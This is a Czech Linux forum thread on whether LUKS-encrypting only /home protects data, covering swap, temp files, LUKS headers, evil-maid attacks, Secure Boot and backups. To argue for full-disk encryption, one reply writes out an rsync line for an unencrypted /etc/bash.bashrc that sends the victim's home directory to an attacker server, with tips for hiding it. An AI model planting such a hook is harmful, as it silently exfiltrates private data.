Dotaz: LUKS - staci zasifrovat /home?

[polo23]

Ahoj, mel bych strucny dotaz. Kdyz mam na PC citliva data a potrebuji je mit sifrovana pro pripad napr. kradeze PC, tak staci mit zasifrovany /home (kde ty data mam)? Je nejaka sance, ze by se k nim mohl nekdo pri kradezi PC dostat? Samozrejme pocitam s tim, ze mam silne heslo.

Ptam se proto, ze hodne lidi preferuje sifrovani celeho disku.

Predem diky za nazory

---

---

Odpovědi

[NN]

Rekl bych, ze staci.

[Tom.š Ze.le.in]

V závislosti na typu citlivých dat logy, coredumpy (se systemd v zásadě taky v logu), ...

Možná swap, zejména pokud se do něj uspává.

Pro jiné scénáře než krádež (dočasné zapůjčení a "úprava" binárek/skriptů) i používané nástroje.

Atp. U celého disku není třeba tolik přemýšlet.

[polo23]

Pokud je to pro případ krádeže, tak stačí šifrovat /home (případně i jen samostatné uživatele), swap (nikdy nevíte, co se do něj dostane) a pak další data, která by mohla někomu napovědět, co tam děláte (logy, nastavení, …). Když chcete utajit i používané programy, konfiguraci, atp., měl byste zvážit šifrování celého disku.

Když si počítač někdo „půjčí,“ máte problém i když to je šifrování celého disku.

Nezveřejňujte ani stará hesla

Pokud používáte LUKS, stačí ukrást tzv. hlavičku LUKS, která obsahuje informace o šifrování a „skutečný“ šifrovací klíč. Když zadáte heslo (nebo jinak LUKSu předáte klíč), rozšifruje se klíč ve hlavičce a až tím druhým se šifruje celý disk. Když si změníte heslo, pozmění se pouze hlavička tak, aby byla zašifrována novým heslem, ale data na disku zůstávají šifrována stejným klíčem (tím, který je zašifrovaný v hlavičce).

Pak z nějakého důvodu uveřejníte své staré heslo. Když si někdo „půjčil“ Váš disk/počítač a nakopíroval si LUKS hlavičku v době používání starého hesla, může ji pořád odemknout starým heslem a dostat se k Vašim datům.

Typ plain

Kromě LUKSu Linux má i typ plain. Doporučuji ho použít pro šifrování swapu. Velkou nevýhodou je to, že potřebuje velmi silné heslo, protože se vynechává celá šaškárna s LUKS hlavičkou a šifruje se přímo tímto klíčem.

Tento typ nepoužívejte pro /home, pokud opravdu nevíte, co děláte. Naopak je vhodný pro šifrování swapu klíčem, který se při každém bootu vezme z /dev/urandom, takže při každám bootu se swap šifruje jiným „heslem“ (náhodná data).

Pokud máte systém jako Debian, můžete to nastavit v /etc/crypttab (vizte cryptttab(5) ). Na gentoo to mám v /etc/conf.d/dmcrypt (tam to je včetně ukázek šifrovaného swapu a /home).

Dočasné soubory

Adresáře typu /tmp nebo /var/tmp je také dobré utajit, protože spousta programů si do nich ukládá docela citlivá data.

Existují dvě možnosti:

• Šifrovat (stačí typ plain s náhodným klíčem při bootu jako u swapu)
• Držet dočasné soubory v RAM a swapu

Já používám tu druhou možnost. Zde je kousek /etc/fstab:

none /tmp             tmpfs size=16G,mode=1777 0 0
none /var/tmp/portage tmpfs size=16G           0 0

Souborový systém tmpfs drží data v RAM a swapu. Volba size= určuje velikost a mode= je nastavení oprávnění.

První je pro dočasné soubory (4 GB RAM + 10 GB swapu stačí bohatě i pro dočasné soubory). Druhý je pro kompilace balíčků (opět moje RAM stačí).

LUKS hlavička na jiném disku

Můžete použít USB disk pro bootování a rovnou na něj uložit i LUKS hlavičku. Pak se oddíl (popř. celý disk) jeví jako plný (pseudo)náhodných dat. Problémem je ztráta/krádež USB disku – přijdete o možnost dešifrovat disk, pokud nemáte zálohu hlavičky.

[polo23]

Diky za vycerpavajici vysvetleni :) Muj pripad je ten co nepotrebuje sifrovat binarky a skripty. Opravdu mi staci jen data v home adresarich.

[jiwopene]

Doufám, že jsem Vás moc nevyčerpal. :) Dávejte bacha na /tmp, /var/tmp a swap, pokud si tam programy ukládají citlivá data. Já se držím předpokladu, že co je v RAM, to může být ve swapu (programy si to samozřejmě mohou nastavit, jak chtějí, ale šifrovat swap je jistější).

[Andrej]

Pokud je to pro případ krádeže, tak stačí šifrovat /home (případně i jen samostatné uživatele), swap (nikdy nevíte, co se do něj dostane) a pak další data, která by mohla někomu napovědět, co tam děláte (logy, nastavení, …).

Teď se na webu zbytečně povaluje nebezpečný nesmysl. Šifrování /home nikdy nestačí (a navíc vynucuje úplně zbytečné dělení diskového prostoru na oddíly). (Data z /home můžou pronikat taky do /var, /run nebo /tmp, ale to je jen velmi malý problém ve srovnání s možností pozměnit nešifrovanou část disku.)

Mám tenhle znamenitý nápad: Dostanu se v tazatelově nepřítomnosti k jeho počítači. Vymontuju jeho disk, zapojím ho do svého USB 3.0 <-> SATA adaptéru, připojím ke svému notebooku, otevřu (nešifrovaný!) /etc/bash.bashrc a přidám tam tohle:

nohup rsync -az "$HOME" my.wonderful.rsync.server:/incoming/ &

Ještě tam můžu dát nice -n 19 ionice -c 3, aby to bylo o malinko méně nápadné. Taky by se mohlo ošetřit, aby ten rsync běžel jenom jednou (mkdir /tmp/lalala-"$USER" && rsync...) nebo aby víc instancí nevadilo (.../incoming/$(date +%s)/...), podle chuti a situace.

Všechno uložím, odpojím, disk namontuju zpátky a nepozorovaně opustím budovu.

Když si počítač někdo „půjčí,“ máte problém i když to je šifrování celého disku.

Tak to právě ne. Když tam bude šifrování celého disku, včetně kernelu a initramfs, pak se (samozřejmě za předpokladu rozumného nastavení LUKS) žádný problém nekoná. Přesněji, při správném použití LUKS se problém v podstatě redukuje na předcházení cold boot útokům.

Rizikem je tedy jen případ, kdy si někdo "půjčí" zapnutý nebo uspaný počítač a podnikne cold boot útok k získání master key — proti tomu lze těžko něco poradit, snad jen (1) mít dobré fyzické zabezpečení (budov / kanceláří / domova), (2) nevzdalovat se od zapnutého nebo uspaného počítače a (3) vypínat počítač cca půl hodiny předtím, než se od něj vzdálím. Což je téměř neproveditelné, takže snazší možnost je skladovat počítač v trezoru, jehož překonání bude trvat (doufejme!) déle než časový limit pro cold boot útok.

Záleží vždy na tom, jak až citlivá ta data jsou. Od toho se odvíjí rozpočet případného útočníka na provedení útoku a tím pádem jeho celkové možnosti.

[polo23]

I kdyz mi vytahnes disk z PC a "ukradnes" cely /home, tak ti to nepomuze. Protoze /home bude porad zasifrovany. K datum se nedostanes.

[polo23]

Uz jsem to zkousel - vypnul jsem PC a vytahnul disk, pripojil k jinemu PC a zkusil namountovat. Hned ale vyskocilo dialog okno pro zadani passphrase.

[Andrej]

Pokud máš zašifrovaný celý disk, potřebuješ vždycky passphrase, to je jasné.

Co říká nějaké dialogové okno, to je celkem irelevantní. Útočník bude mít celý LUKS tool chain a k tomu mnohem víc.

Pokud máš zašifrovaný jenom /home a můžeš se tedy dostat k /etc/bash.bashrc bez zadání passphrase, můžeš klidně aplikovat můj nápad uvedený výše. (A pak disk namontovat zpátky, nabootovat z něj, přihlásit se … a ouha, data jdou kdovíkam.)

[polo23]

Takze tzn. ze i kdyz mam /home na samostatne partition a zasifrovane, tak bys byl schopny ty data od tama dostat v pripade, ze by sis ji celou stahnul? Mam to chapat tak, ze to reseni co mam je cele k nicemu?

[jiwopene]

V případě, že je změnil – například úprava programu, který běží pod rootem nebo může přistupovat (uživatel, skupina) k citlivým datům. Například již zmíněný /etc/bash/bashrc.

[Andrej]

Ale ano, pomůže. Přečti si znova, co jsem psal.

Já ti ten disk totiž namontuju zpátky. Ty o tom nebudeš vědět. Spustíš počítač, přihlásíš se a moje řádka v /etc/bash.bashrc (který není šifrovaný a proto jsem ho mohl změnit) mi všechna tvoje data pošle. Samozřejmě nešifrovaná, protože /home budeš mít tou dobou otevřený a namountovaný.

Tenhle útok je samozřejmě víc o sociálním inženýrství než o technické stránce věci. Tedy, musel bych se nepozorovaně dostat fyzicky k tomu počítači v tvé nepřítomnosti a pak hlavně nikde nezapomenout šroubovák nebo něco, co by tě upozornilo, že někdo s počítačem manipuloval.

[polo23]

Aha ted uz te chapu. Ale tohle muzu vyloucit. Ze by nekdo editoval /etc/bash.bashrc. Mne slo spis jen o to, zda jsi schopny dostat se k datum tim ze mi ukradnes disk.

[Andrej]

Tím, že ti jenom ukradnu disk (a nevrátím ti ho), nebudu schopen dostat se k šifrovanému /home.

V takovém případě budu schopen jenom maximálně projít /var, a (jestli je příslušná distribuce tak špatně navržená, že nepoužívá tmpfs) taky /run a /tmp a podívat se, jestli tam neunikla nějaká zajímavá citlivá data.

Taky swap by mohl být zajímavý. Pokud tedy používáš (nešifrovaný) swap. V dnešní době bych žádné použití swapu (šifrovaného ani nešifrovaného) nedoporučoval.

[jiwopene]

Když si počítač někdo „půjčí,“ máte problém i když to je šifrování celého disku.

Tak to právě ne. Když tam bude šifrování celého disku, včetně kernelu a initramfs, pak se (samozřejmě za předpokladu rozumného nastavení LUKS) žádný problém nekoná. Přesněji, při správném použití LUKS se problém v podstatě redukuje na předcházení cold boot útokům.

Někdo pořád může pozměnit/vyměnit zavaděč tak, aby bootoval jeho jádro a initramfs. Možná trochu pomůže Secure Boot, ale ani ten není 100% jistota, protože ho může kdokoliv vypnout.

[Jendа]

Tak to právě ne. Když tam bude šifrování celého disku, včetně kernelu a initramfs, pak se (samozřejmě za předpokladu rozumného nastavení LUKS) žádný problém nekoná.

Co když mu do stage1.5 GRUBu přidám vlastní modul?

[Andrej]

Ano, to je pravda. Tedy buď nastavit SecureBoot (což se ale dá dost těžko udělat tak, aby ověřoval taky všechny moduly a nastavení GRUBu), nebo nebootovat z ničeho jiného než z flashdisku (ideálně hardwarově chráněného proti přepisu), na kterém je GRUB a který se mimo boot u počítače nenechává.

[Michal2]

Pridam mezi klavesnici a PC hardwarovy keylogger za 40$ ( http://www.keelog.com/airdrive-keylogger/ ) a pri pristi navsteve data stahnu snadno zjistim, co je passphrase a ji ztracen. Pripadne drazsi variantu s wifi naklonuju zasifrovany disk a dalsi navstevu si usetrim. A delaji se varianty i pro laptopy.

Takze cela tvoje uvaha je zbytecna. Resp jsi extremne malo paranoidni jak na cloveka, ktery o takovych vecech premysli. Pokud ztracis (byt na chvili) fyzickou kontrolu nad pocitacem, tak jsi v pytli. Tomu stroji uz nemuzes nikdy duverovat.

[jiwopene]

HW keylogger „je vidět“ při bližším prozkoumání (např. při připojování dalšího hardwaru) v budoucnu. Nejjednodušší a asi nejlevnější je připravit zavaděč+jádro+initramfs, které spustí SW keylogger (nebo nějakou jinou činnost). Pak ukáže prompt jako v jeho zavaděči, natáhne jeho initramfs místo sebe, ale nechá běžet ten nějaký program. Jeho initramfs si pravděpodobně procesu navíc nejspíš nevšimne, přeci jen jeho init má pořád PID 1, keylogger nějaké vyšší. Počká na připojení k síti a pošle passphrase.

Tohohle si všimne snad jen když bude kontrolovat hash zavaděče, jenže původní zavaděč je možné uložit zpět. Celkem jediné, co je třeba je trocha místa na disku (může to přemazat konec filesystému nebo jiné místo, o které se při běhu initramdisku nebude nikdo zajímat, aby bylo místo pro toto nové jádro+initramfs).

Kdyby měl být dost „paranoidní“ pro plnou důvěru svému počítači, měl by si zkontrolovat HW počítače, periferie i nějaký spolehlivý hash obsahu disku a dalších pamětí.

[k3dAR]

[...]Nejjednodušší a asi nejlevnější je připravit zavaděč+jádro+initramfs, které spustí SW keylogger[...]

pokud bude nastavede BIOS heslo, aktivni SecureBoot, smazane vychozi klice a nahranej jen vlastni klic a jim podepsanej zavadec, tak tve pripravene efi to nenastartuje... minimalne dokud nejak nezaridis (dle moznosti hw) aby se heslo vyresetovalo a nahodis vychozi klice... pokud ale vlastnik bude v early boot rootfs mit nejakou kontrolu zda je start z jeho podepsaneho zavadece, tak bys mel smulu i tak...

[jiwopene]

Tady jde už jen o to, kolik věcí vyměním.

[k3dAR]

jiste, pokud planujes nepozorovane vymenit zakladni desku, tak nastavenej secureboot nepomaha

[Petr Fiedler]

@jiwopene:

Skvěle vysvětleno, také děkuji.
Ještě se chci zeptat ohledně tmpfs. Není náhodou volba mode=1777 nastavena jako výchozí? Není tedy zbytečné to do fstab uvádět?

[jiwopene]

Mám pocit, že jde o tu jedničku (sticky). Ale teď vlastně koukám do /etc/fstab a tam to nemám. Nevím.

Připadá mi, že nějaký program při bootu nastaví restricted deletion flag.

[Andrej]

Je lepší zašifrovat úplně všechno, včetně kernelu a initramfs. GRUB dnes bez problémů podporuje LUKS, takže dnes už není problém mít všechno šifrované, včetně adresáře /boot.

Hlavním důvodem je známý typ útoku, při kterém útočník získá v tvé nepřítomnosti fyzický přístup k počítači a nepozorovaně pozmění data na disku.

Pokud nebudeš mít zašifrovaný celý disk, může útočník například zařídit, aby se mu při příštím spuštění tvého počítače zpřístupnila všechna tvá soukromá data. Nejjednodušší je podstrčit upravený /etc/bash.bashrc, který později zařídí vše potřebné, až se přihlásíš s odemčeným /home. Trochu méně nápadné by bylo podstrčit upravenou verzi některé z binárek, které většinou běží, když je /home odemčený a namountovaný, třeba shell nebo display manager.

Když budeš mít celý disk šifrovaný, tohle^^^ se nemůže stát.

(Malá poznámka stranou: Před pokusem pozměnit kernel a initramfs by tě ještě mohl zachránit SecureBoot, pokud máš na všech úrovních (EFI, shim, GRUB, kernel s podpisy) všechno správně nastavené a podepsané. Ale takový /etc/bash.bashrc, pokud vím, nikde podepsaný a kontrolovaný není.)

Další důvod, proč šifrovat celý disk, se tu řešil asi stokrát: Nejlepší je nedělit místo na disku. Když si disk zašifruješ kompletně, můžeš pak mít jeden velký filesystém s případnými subvolume, jeden velký sdílený prostor, kde nehrozí, že velikost nějakého oddílu bude špatně stanovená a na oddíle dojde místo, zatímco jinde spousta volného místa. Nepotřebuješ potom žádný /boot oddíl ani /home oddíl; obojí může být třeba subvolume, má-li to mít vlastní kvóty nebo snapshoty, ale to je asi tak všechno. Všechen diskový prostor (ať už z jednoho disku nebo klidně z více disků najednou) budeš mít k dispozici najednou a bez zbytečné fragmentace.

Résumé tedy je, že zašifrováním celého disku získáš:

1. odolnost proti některým typům útoků založených na dočasném fyzickém přístupu k hardwaru
2. nedělený diskový prostor bez zbytečných oddílů a starostí s tím souvisejících

[jiwopene]

Pořád ale může změnit GRUB.

[Andrej]

Ano, to je pravda. Mohl by například upravit GRUB tak, aby automaticky aplikoval nějaký kernel patch. Nebo třeba i méně sofistikovaný hack jako přidání hesla od LUKS v plaintextu do příkazové řádky kernelu by se dal později docela snadno zneužít.

Na některých strojích mám z toho důvodu GRUB pouze na flashdisku, který u daných strojů nikdy nenechávám. Bootovat z čehokoliv jiného má EFI zakázáno.

[Jendа]

Tady by pomohlo asi jenom podepisování a TPM v procesoru. Ale co jsem slyšel tak je to v dost smutném stavu (ve smyslu pochybné uzavřené implementace). A taky ti někdo může vyměnit procesor

[jejda]

Tady by pomohlo asi jenom mit zdravy rozum. Sifrovat disk pokud s nim nekde cestuju v zahranici a mam tam nejake citlive informace nebo ve firemnim prostredi ale zase jen kdyz tam jsou citlive informace. V domacim prostredi kde uzivatel je jen konzument a nic zneuzitelneho netvori je to ujetina, ktera vzdy nejak zdrzuje a spise zpusobi brzy starosti.

[k3dAR]

nesmysl, v domacim prostredi FDE/LUKS je samozrejme vhodne a zdrzuje jen jednorazove pri instalaci/konfiguraci

[Bohatyr]

mno... napr. v pripade pozdejsi obnovy dat z vadneho disku to zase takovy nesmysl neni, obvzlast, kdyz si jako ja ulozite hlavicku LUKSu neznamo kam :)

[Petr Fiedler]

Nic ve zlém Bohatýre, ale:

Mít zálohu jen na jednom disku je hloupé.

Pokud se ale z nějakého důvodu musím spoléhat jen na jeden disk a před zálohováním neprovedu jeho kontrolu, tak to je ještě více hloupé.

Uložit si LUKS hlavičku neznámo kam je ještě více hloupé.

A v domácím prostředí nešifrovat mi taky přijde hloupé. Někdo tě vykrade, odnese si komp a pokud v něm máš např. naskenované dokumenty s tvým rodným číslem atd., tak to taky není to pravé ořechové, že?

[k3dAR]

predpokladam ze mas doma alespon 1 okno vysazene, protoze nikdy nevis kam pohodis klice od dveri

[Petr Fiedler]

[k3dAR]

nicmene na zaklade jeho pohazovaciho problemu je dobre upozornit, ze pri pouziti LUKS se durazne doporucuje zazalohovat LUKS hlavicku (a umistit ji na nekolik zabezpecenych mist na ktere se nezapomene

[Petr Fiedler]

Tos mi připomněl, že jsem si chtěl pořídit disk, zašifrovat jej, umístit na něj zálohu s daty a u někoho jej uschovat. Kdybych např. vyhořel, tak abych nepřišel o data. Jaký disk se na to hodí? Rotačním prý nesvědčí, když dlouho leží, i když já mám opačné zkušenosti. Bude to lepší dát na SSD?

[k3dAR]

HDD pri nepouzivani muzou zatuhnout loziska, SSD pri nepouzivani muze zapomenout data, oboje v zavislosti na pouzite technologii, vyrobci, skladovani, teplote, vlhkosti, realne cista ti nereknu, ale pro takovou zalohu bych asi sel do M-Disk BD-R 25GB nebo 100GB ktere maji vydrzet 1000let, takze je dost velka sance ze za 50let to prectes

[Petr Fiedler]

Asi 2x ročně bych ten disk přepsal aktuální zálohou všech dat, takže by tam ta data byla vlastně půl roku. To by SSD použít šlo, ne?

Ty disky jsou zajímavé, ale při tomto způsobu zálohování by to bylo drahé. 5ks 100GB disků stojí $60 a vydrželo by to 2,5 roku. A taky mi to přijde docela pomalé - 4X. Vypálit 70GB by trvalo šíleně dlouho. A kdo ví, jestli budou za 50 let CD/DVD/BD mechaniky a konektory SATA?

Ještě k SSD. Jak jej ideálně skladovat. Asi v antistatickém sáčku někde ve skříni při pokojové teplotě, ne?

[k3dAR]

u HDD by 1x/pulrok zapnuti asi loziska prezivala (matne si vybavuju ze problem byli roky a predpokladam ze novejsi HDD maj i lepsi loziska), u SSD nevim jiste, mam pocit ze sem nekde pred casem cetl problemy v radu mesicu-rok a predpokladam ze dnesni 3D TLC, QLC na tom muzou byt jeste hure... takze bych asi pouzil spis HDD ...

k BD, rychlost 4x se nevaze k puvodni rychlost CD, rychlost BD 1x je ~5MB/s, takze 4x mas ~20MB/s coz je "jen" 20% rychlosti zapisu na HDD...
pokud se obavas zda za 50let bude BD SATA mechanika, tak ji muzes nechat ve skrini s mediem pokud se obavas zda bude PC s SATA tak to plati i pro HDD/SSD, nebo muzes poridit BD USB mechaniku a obavat se zda budes za 50 let mit USB3 pripojeni :) cenu muzes snizit s tim ze zalohu budes delat jen 1x/rok + ten HDD, takze te BD zaloha vyjde na ~300Kc/rok

[Petr Fiedler]

Tak tedy koupím HDD. Dík za radu.

Neuvědomil jsem si, že HDD/SSD mají taky SATA, takže to bylo tak trochu faux pas

Já mám datový oddíl na SSD, kde jsou některé soubory už rok. Takže by bylo dobré veškerá data na tom oddílu smazat a nakopírovat je tam znovu ze zálohy?

[k3dAR]

to SSD s datovym oddilem je zapojene? problem co sem psal je pouze pokud by bylo SSD nejakou(nevim jakou) dobu BEZ napajeni pak by bylo asi vhodne obcas zapojit a nevim zda i prepisovat data, pokud jo, tak misto smazat/zapsat_nove bych rovnou delal zapsat_nove/smazat aby se zaroven zapsalo jistotne do jinejch budek...

[Petr Fiedler]

Jo, ten datový oddíl je zapojen. Takže dobrý.
Dík

[jejda]

za 50 let CD/DVD/BD mechaniky a konektory SATA?

redukce? Myslim ze i za sto let bude jednodussi vyrobit takovou blbost nez vyrobit identickou kopii motoru z 1. ci 2. svetove valky.

Ještě k SSD. Jak jej ideálně skladovat. Asi v antistatickém sáčku někde ve skříni při pokojové teplotě, ne?

To me rozesmalo, driv odejde disk 1. lidskou neopatrnosti nebo elektronicky, i odbornici mu prisuzuji mensi zivotnost nez plotnovemu disku, pokud se s nim zachazi opatrne. Docela by me zajimalo jestli nekdo na svete ma stale citelna data, ktera nahral nejaky HDD v rannych pocatcich jeho konzumniho prodeje, odhadem bez wikipedie tak pred 45 lety?

[Peter Golis]

Za 50 rokov nebude treba na prečítanie takého média nejaká CD/DVD/BD mechanika pripojení na vtedy už neaktuálne SATA. Normálne to odfotíš mobilom (alebo čo sa bude vtedy používať), a OCR ti to prepáše do dát. Ak sa ovšem také médium nerozpadne do nečitateľnej podoby.

[Peter Golis]

Výdrž 1000 rokov, to mi pripomína reklamné kecy že napaľovacie DVD vydržia 20 až 100 rokov. Veľa z nich nevydržalo ani rok.

Zaujímalo by ma či má niekto reálne skúsenosti s výdržou tých M-Disk BD-R.

[k3dAR]

pouziva to jine materialy a logicky se poucili prave z problemu vydrze beznych DVD, i tak sem radeji psal ze z 1000 bude asi "jiste" 50, pokud o problemech HDD a SSD se vi a pripadnych problemech M-Disk se nevi, prijde mi vhodne pokud na datech zalezi (a nebudou se prepisouvat 1x/pulroku) to pouzit, alespon jako druhou zalozni moznost k tomu HDD/SSD...

[Peter Golis]

Silne pochybujem že sa poučili. Oni veľmi dobre vedeli že organické farbivá toľko nevydržia, a aj napriek tomu tvrdili že vydržia toľko, čo pozlátené médiá.

A to je dôvod prečo som sa pýtal na praktické skúsenosti. To, že výrobca spotrebného materiálu nezverejňuje štatistiky chybovosti neznamená že tá chybovosť neexistuje.

[k3dAR]

myslim ze se tezko ozve nekdo kdo na M-Disk zapisoval pred 1000lety, ani pred 50lety
taky je rozdil kdyz nekdo se snazil obhajovat levna media hlavne aby se to rozsirilo/prodavalo a nekdo se zameril na vyzkum medii co vydrzej...

[Peter Golis]

Pamätám si médiá ktoré človek vybral z pošetky, a hneď sa mu odlúpila tá pokovená časť. A to ešte pred vypálením. Bolo to v čase keď sa tvrdilo že výdrž napaľovacích DVD je 20 až 100 rokov všeobecne.

Preto sa pýtam či má niekto skúsenosti s tými BR diskami, aspoň nejaké. Skúsenosť či to vydrží dlhšie ako cement v paneláku ma teraz nezaujíma, časové kontinuum také niečo zatiaľ nepustí.

Ale vidím, že nikto tie skúsenosti nemá.

[jejda]

Kdyby se tak jeste poucili pri vyrobe druzic aby nespadly a vydrzely alespon 25 let. A v tomto sektoru se pouzivaji novejsi technologie nez u nejakych konzumnich disku.

[jejda]

https://istorage-uk.com/product/diskashur/

[k3dAR]

to ze porad pod tim bezi normalni HDD je jedna vec (navic jak sem psal myslim ze HDD je vhodnejsi na skladovani), problem vidim v tom closed hw sifrovani, ktere historicky bylo vzdy problematicke/derave a pokud se pocita vzdy s pripojenim k GNU/Linuxu nevim jake vyhody (krome tech nevyhod) by tohle prineslo oproti (Petrem jiz pouzivanem) LUKS

[j]

"GRUB dnes bez problémů podporuje LUKS" Jo, jen se to trosku blbe zapina na dalku ...

[Petr]

Mají daná zašifrování i nějaké známé nedostatky? Já jsem měl jednou v Ubuntu zašifrovaný $HOME (nějakým nástrojem, co je zabudovaný do instalace systému), a narazil jsem na to, že rsync byl příšerně pomalý (při synchronizaci dat mezi noťasem a stolním PC), takže tohle zašifrování šlo brzy pryč. Jak jsem na tom s rsyncem ostatní metody?

[Jendа]

Protože to je takový ten bazmek co používá FUSE.

Šifrování blokového zařízení je na HDD nebo s AES-NI nepostřehnutelné.

[MP]

Šifrování blokového zařízení je na HDD nebo s AES-NI nepostřehnutelné.

Na HDD mas pravdu. Pokud tam je SSD/raid, tak uz to vzdy neplati.

[k3dAR]

s SSD plati ta druha Jendova podminka "nebo s AES-NI", viz "cryptsetup benchmark":

# Algorithm | Key |  Encryption |  Decryption
# T420s + i7-2640M (CPU stare 8let):
    aes-xts   512b   991,9 MiB/s  1011,2 MiB/s
# X220 + i5-2520M (CPU stare 8let):
    aes-xts   512b   912,6 MiB/s   953,5 MiB/s
# DesktopSTX + i3-7100T (CPU stare 3roky):
    aes-xts   512b  1750,2 MiB/s  1759,7 MiB/s

tzn. pouze super rychle NVMe muze LUKS zpomalit, ovsem nemam k dispozici super rychle/aktualni i7/Xeon kde ten AES-NI vykon muze byt opet vyssi

[MP]

4x SAS SSD v R1 - propad o 20%, gold procesory v top serveru z minuleho roku. 2x SATA SSD v R1 - propad o 90%

Oboji HW raid. Takze netreba NVMe. V obou pripadech to bylo tim, ze aes-ni bezelo pouze na 1 jadru - pry to umi multicore, ale jeste jsem to na serverech nevidel.

[Peter Golis]

Môžeš skontrolovať či vyťaženie CPU pri cryptsetup benchmarku na tých strojoch indikuje multicore? To by potom bola prča jak hrom.

[k3dAR]

realne rychlosti? a jake cpu?

[MP]

Co se tyce toho Dellu:

PE R940, 2x xeon gold 6136 3GHz, H740P, 4x12Gbps SAS SSD PM1633a v R10:

fio readwrite test:
read 73k, write 24k
luks read 54k, read 18k (aes-xts 512b)

cryptsetup benchmark:
aes-xts 512b encrypt 1673MiB/s decrypt 1686MiB/s

[Josef Kufner]

Zašifruj to celé. Nikdy si nebudeš jistý, zda ti nějaká zajímavá data někam neutečou v systému. Například /tmp a /var/lib jsou na to dobrými kandidáty. Když si ponecháš jen nešifrovaný /boot a /boot/efi, tak se nemáš čeho bát. Také nezapomeň zašifrovat swap. Rozumné distribuce mají takové šifrování (LUKS + LVM) zvolitelné při instalaci a nemusíš prakticky nic řešit.

[k3dAR]

kdyz si necha nesifrovany /boot, tak kdokoliv s fyzickym pristupem s minumum znalostma muze podvrhnout svuj initramdisk kterej pri pristim odemknuti vlastnikem odesle utocnikovi LUKS heslo mailem/ftp/ssh/­www/jakkoliv.­..
idealni stav pak je mit zaplej SecureBoot, podepsanej EFI zavadec vlastnim klicem a ostatni/vychozi klice z EFI vyhozene(pokud to "deska" podporuje)...

[Josef Kufner]

Nešifrovaný /boot a šifrovaný zbytek systému je naprosto dostatečnou ochranou proti odcizení počítače. Proti Evil Maid útoku to neochrání.

Pokud však jen zapne Secure Boot, tak sice nabootuje jen podepsaný zavaděč, ale zavaděč pak stojí před problémem, jak ověřit nepodepsaný initramdisk a nepodepsaný kernel. Pokud chceš toto vyřešit, tak to chce zlikvidovat nešifrovaný /boot a ponechat si jen nešifrovaný EFI oddíl. Do toho pak nahrát kernel a initramdisk zapečené do jedné podepsané EFI binárky a to pak bootovat pomocí Secure Bootu.

Docela hezky toto řeší Sicherboot – je to pár skriptů pověšených na instalaci kernelu a aktualizaci initramdisku, které upečou, podepíšou a nainstalují do EFI oddílu tu správnou binárku i s bezpečným EFI zavaděčem (ale ten jde vynechat a bootovat jádro přímo). Oproti Grubu neumí prakticky nic, ale to je ta pointa.

[k3dAR]

na primarnim NB (T420s) mi v BIOSu vlastni klice nelze dat, takze sem to nezkousel, ale nestaci v EFI oddilu jen grub efi podepsanej vlastnim klicem? nepodepsany initramdisk a jadro by tahal az z odemceneho LUKS kdy o odemceni LUKS se postara primo Grub...

[Josef Kufner]

Pokud nemůžeš nahrát vlastní klíče (a nedělá se to v BIOSu), tak nemáš Secure Boot. Pokud to deska o sobě tvrdí, můžeš ji v klidu reklamovat.

Podepsaný Grub stačí, pokud je to jedna EFI binárka, nemá povolené náčítání modulů a jádro i initrd je na šifrovaném disku. Moje zkušenost je však taková, že Grub odemyká mnohem pomaleji než Linux, takže jsem Grub vynechal úplně. Navíc pak nemusím řešit druhé odemykání.

[Petr Fiedler]

No a jak to tedy máš udělané ty?

[Josef Kufner]

Secure Boot s vlastními klíči. Nešifrovaný je pouze EFI oddíl (/boot je spolu se zbytekem disku šifrovaný a nepoužívá se k bootování, ale jen k instalaci jádra). Skript při aktualizaci initrd zavolá Sicherboot, aby sestavil podepsanou EFI binárku s jádrem a initrd, následně zavolá efibootmgr a přidá novou binárku rovnou mezi bootovatelná zařízení v "BIOSu", takže se nepoužívá žádný bootloader – EFI bootuje rovnou podepsané jádro.

Pokud chceš bezpečně bootovat, nainstaluj Sicherboot (dělá to popsané výše) a řiď se pokyny pro nastavení klíčů. Při instalaci to napíše vše potřebné (vyfoť si to) a používá to jednoduchý EFI bootloader (systemd-bootx64.efi), který při spouštění další EFI binárky nechá ověřit její podpis a umožňuje zvolit jádro, pokud se při bootu bouchne do klávesnice, ale jinak není vidět a nezdržuje. Navíc pak funguje bootctl a integrace se systemd. Do tohoto bootloaderu je navíc přidán Keytool, který umožňuje nakonfigurovat vlastní klíče pro Secure Boot.

[Peter Golis]

Tehnická: máš v tom stroji aj TPM? Ono bolo nepovinné, a občas aj za príplatok.

[Josef Kufner]

Pokud vím, tak všechny Thinkpady TPM mají. Nikdy jsem si s tím moc nehrál, ale snad u všech svých notebooků jsem viděl, že je přítomno.

[Peter Golis]

Pýtal som sa len kvôli drobnosti. Keď ten sicherboot zavesí podpísané jadro do UEFI, a HW mená TPM, tak sa pri štarte nemá ako overiť daný podpis. A prejde to.

Či to má TPM sa dá zistiť aj z dmesg, na produktovú špecifikáciu by som sa nespoliehal. A už dupľom ak sa jedná o model s TPM ktorý ma v sebe nahrané kľúče od MS.

[Josef Kufner]

Secure Boot potřebuje jen nějakou NVRAM, do které si uloží klíče. Deska nemusí implementovat ten kopec věčí, co TPM má umět. Samozřejmě pak půjde ty klíče vytáhnout, pokud se připojíš přímo na sběrnici paměti, ale to už můžeš rovnou přefashovat firmware (nějaké video s reálně provedeným útokem jsem viděl). Navíc pokud to zařízení rozebereš, tak dost často tam je nějaký jumper na reset do továrního nastavení, takže ty možnosti nejsou zas až tak skvělé.

Původní klíče od výrobce se samozřejmě deaktivují tím, že tam nahraješ svoje. Jinak by to nedávalo moc smysl.

[Peter Golis]

Klíče, plurál. Tých kľúčov je naozaj viac. Ak máš v TPM kľúč nielen na podpis, ale aj na šifrovanie, tak by som si pozrel ako sa k nemu niekto dostane.

Také niečo by zrušilo Trusted z názvu TPM.

[k3dAR]

deska ani ja netvrdil ze v T420s mam SecureBoot psal sem pretim idealni stav(SecureBoot+PouzeVlastniKlice+ZavadecTimPodepsanej), nikoliv ze ten stav mam ;) mam v EFI distribucni Grub a sifrovanej /boot, coz jak sem psal povazuju za mnohem bezpecnejsi nez mit nesifrovanej boot...

nevim jestli dokazes(ja urcite ne a nevim jak to muze byt komplikovane) do Grubu dopsat odchyceni hesla + net/lan subsystem + dhcpclienta + mail/ftp/ssh klienta co to posle nez Grub nahodi jadro, ale asi vis ze uprava initramfs je v par radkove uprave shell skriptu a pridani dropbear/dbclient

jinak druhe odemykani mam poresene pres keyfile v initramfs, ale jinak diky za tip s Sicherboot, asi to na PC kde SecureBoot + moznost vlastich klicu mam vyhledove vyzkousim

